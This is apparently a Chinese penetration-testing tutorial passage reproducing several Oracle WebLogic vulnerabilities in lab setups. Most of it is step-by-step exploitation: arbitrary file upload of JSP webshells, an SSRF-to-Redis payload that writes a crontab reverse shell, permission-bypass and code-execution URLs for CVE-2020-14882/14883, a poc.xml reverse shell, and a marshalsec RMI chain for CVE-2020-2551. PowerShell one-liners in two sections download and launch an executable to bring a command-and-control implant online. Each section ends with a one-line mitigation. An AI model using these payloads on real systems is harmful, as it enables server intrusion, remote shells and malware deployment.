5.WebLogic 未授权访问漏洞(CVE-2018-2894)
漏洞简介
Weblogic Web Service Test Page中有两个未授权页面,可以上传任意文件。但是有一定的限制,该页面在开发模式下存在,在生产模式下默认不开启,如果是生产模式,需要登陆后台进行勾选启动web服务测试页,如下图。
image-20210813145148182
影响版本
10.3.6 12.1.3 12.2.1.2 12.2.1.3
验证漏洞
测试页有两个
/ws_utc/config.do /ws_utc/begin.do
漏洞复现
这里要注意的是12版本,以前以及现在的默认安装是“开发模式”,“生产模式”下没有这两处上传点。如果是生产模式,需要登陆后台进行如下配置:(开发环境下不需要!!)
image-20210814171049349
勾选启用web服务测试项,保存重启weblogic即可
1.测试/ws_utc/config.do
访问/ws_utc/config.do页面,首先设置一下路径,设置Work Home Dir为ws_utc应用的静态文件css目录,因为默认上传目录不在Web目录无法执行webshell,这里设置为:(css访问不需要任何权限)
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css
image-20210813152013436
提交后,点击左边安全->添加,上传jsp大马
获取文件id:1628933663766
访问url:
http://192.168.0.105/:7001/ws_utc/css/config/keystore/{时间戳}_{文件名} http://192.168.0.105:7001/ws_utc/css/config/keystore/1628933663766_JspSpy.jsp
image-20210814173547786
输入密码
image-20210814173903964image-20210814174004800
可以看见成功上线,同样方法也可以上传一句话或者其他木马。
2.测试 /ws_utc/begin.do
大致方法和上面的url一样,这里需要注意的是
1./ws_utc/begin.do使用的工作目录是在/ws_utc/config.do中设置的Work Home Dir; 2.利用需要知道部署应用的web目录; 3.在生产模式下不开启,后台开启后,需要认证。
image-20210814175127172
image-20210814175507654image-20210814180116136
报错可以忽略,返回包中已有文件路径
/css/upload/RS_Upload_2021-08-14_17-59-33_143/import_file_name_zcccmd.jsp
image-20210814180054350
访问路径,成功访问,powershell上线cs
http://192.168.0.105:7001/ws_utc/css/upload/RS_Upload_2021-08-14_17-59-33_143/import_file_name_zcccmd.jsp
powershell -Command (new-object System.Net.WebClient).DownloadFile('http://192.168.0.108/zcc.exe','zcc.exe');start-process zcc.exe
image-20210814181718937
安全防护
1.启动生产模式后Config.do页面登录授权后才可访问
2.升级到最新版本,目前生产模式下已取消这两处上传文件的地方。
6.Weblogic SSRF漏洞(CVE-2014-4210)
漏洞简介
Oracle WebLogic Web Server既可以被外部主机访问,同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp,我们可以利用它进行攻击,未经授权通过weblogic server连接任意主机的任意TCP 端口,可以能冗长的响应来推断在此端口上是否有服务在监听此端口,进而攻击内网中redis、fastcgi等脆弱组件。
影响版本
10.0.2.0 10.3.6.0
验证漏洞
访问该路径,如果能正常访问,说明存在该漏洞
/uddiexplorer/SearchPublicRegistries.jsp
image-20210814185115833
漏洞复现
这里复现用的vulhub靶场环境
抓包,在url后跟端口,把url修改为自己搭建的服务器地址,访问开放的7001端口
image-20210814192248494
image-20210814192515111
发现返回如下信息,说明开放7001端口,但是不是http协议
An error has occurred<BR>weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code (Not Found). Please ensure that your URL is correct, and the web service has deployed without error.
image-20210814192706701
访问未开放的端口,会返回下面的信息
An error has occurred<BR>weblogic.uddi.client.structures.exception.XML_SoapException: Tried all: '1' addresses, but could not connect over HTTP to server: '127.0.0.1', port: '7002'
image-20210814193417626
访问存在的端口,且为http协议时返回如下
An error has occurred<BR> weblogic.uddi.client.structures.exception.XML_SoapException: Received a response from url: http://192.168.0.108:80 which did not have a valid SOAP content-type: text/html.
image-20210814203203147
7.weblogic SSRF联动Redis
漏洞复现
依旧用的上面这个靶场
image-20210814204005054
这里查一下开启redis服务的这个容器IP,找到ip:172.20.0.2
docker inspect a5a
image-20210814204200558
可以看见6379的端口存在,且为http协议
image-20210814204413085
本机监听12345端口
image-20210814204756777
burp改包直接将弹shell脚本到本机kail上(192.168.0.104)
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.104/12345 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save
经过url编码后,写入bp中operator参数的后面:
operator=http://172.20.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.104%2F12345%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
image-20210814210942824
image-20210814211117689
反弹shell成功。
安全防护
升级高版本。
8.Weblogic弱口令&&后台getshell
漏洞简介
由于管理员的安全意识不强,或者配置时存在疏忽,会导致后台存在弱口令或者默认的用户名/口令。
影响版本
全版本
漏洞复现
通过弱口令登录管理台后,点击部署->安装
image-20210814212040819
image-20210814212434754
image-20210814212521338
这里war包成功上传
image-20210814212645817
将其作为应用程序安装
image-20210814212857889
image-20210814212917962
点击完成。
image-20210814213012827
可以看见部署成功,访问url
http://192.168.0.105:7001/zcc/JspSpy.jsp
image-20210814214222692
输入密码,即可成功拿到webshell
image-20210814214304327
安全防护
避免出现弱口令
9.Weblogic Console HTTP协议远程代码执行漏洞(CVE-2020-14882/CVE-2020-14883)
漏洞简介
未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限。
影响版本
10.3.6.0 12.1.3.0 12.2.1.3 12.2.1.4 14.1.1.0
漏洞复现
CVE-2020-14883: 权限绕过漏洞的poc:
http://192.168.0.105:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
访问该url之后,进入如下页面,可以看见成功进入管理台:
image-20210814220636352
CVE-2020-14882: 代码执行漏洞的poc:
http://192.168.0.106:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence. mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/zcc123%27);%22);
这里复现用的vulhub靶场
image-20210814222333621
访问报404,不要慌,此时去容器中看会发现文件已成功写入;
image-20210814221311713
这里执行反弹shell的xml文件poc.xml:
## poc.xml <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>/bin/bash</value> <value>-c</value> <value><![CDATA[bash -i >& /dev/tcp/192.168.0.104/6669 0>&1]]></value> </list> </constructor-arg> </bean> </beans>
把poc.xml放在打开http服务的kali机子上(ip:192.168.0.108):
在监听机子上开启监听:
image-20210814223442393
然后访问该url:
http://192.168.0.106:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged .springframework.context.support.ClassPathXmlApplicationContext("http://192.168.0.108/poc.xml")
image-20210814224224450
同理,上线cs的话把反弹的命令改了即可。
安全防护
升级官方补丁:https://www.oracle.com/security-alerts/cpuoct2020.html
10.IIOP反序列化漏洞(CVE-2020-2551)
漏洞简介
2020年1月15日,Oracle官方发布2020年1月关键补丁更新公告CPU(CriticalPatch Update),其中CVE-2020-2551的漏洞,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。IIOP反序列化漏洞影响的协议为IIOP协议,该漏洞是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,在使用之前未经安全检查,攻击者可以通过 IIOP 协议远程访问 Weblogic Server 服务器上的远程接口,传入恶意数据,从而获取服务器权限并在未授权情况下远程执行任意代码.
影响版本
10.3.6.0 12.1.3.0 12.2.1.3 12.2.1.4
漏洞复现
需要安装java8环境
cd /opt curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz tar zxvf jdk-8u20-linux-x64.tar.gz rm -rf /usr/bin/java* ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin javac -version java -version
这里我已经安装好
image-20210814225849356
exp.java代码
import java.io.IOException; public class exp { static{ try { java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"}); } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args) { } }
image-20210814230308993
java编译exp.java
javac exp.java -source 1.6 -target 1.6
image-20210814230430269
接着python开启http服务,与exp.class在同一文件夹即可
image-20210814230710705
使用marshalsec启动一个rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.108/#exp" 12345
image-20210814230935474
使用工具weblogic_CVE_2020_2551.jar,执行exp
java -jar weblogic_CVE_2020_2551.jar 192.168.0.105 7001 rmi://192.168.0.108:12345/exp
image-20210814231847184
可以看见成功弹出
image-20210814231822800
同理,上线cs的话,只需改exp.java代码即可,后续步骤一样
import java.io.IOException; public class exp { static{ try { java.lang.Runtime.getRuntime().exec(new String[]{"powershell","/c"," (new-object System.Net.WebClient).DownloadFile('http://x.x.x.x/zcc.exe','zcc.exe');start-process zcc.exe"}); } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args) { } }
安全防护
使用官方补丁进行修复:https://www.oracle.com/security-alerts/cpujan2020.html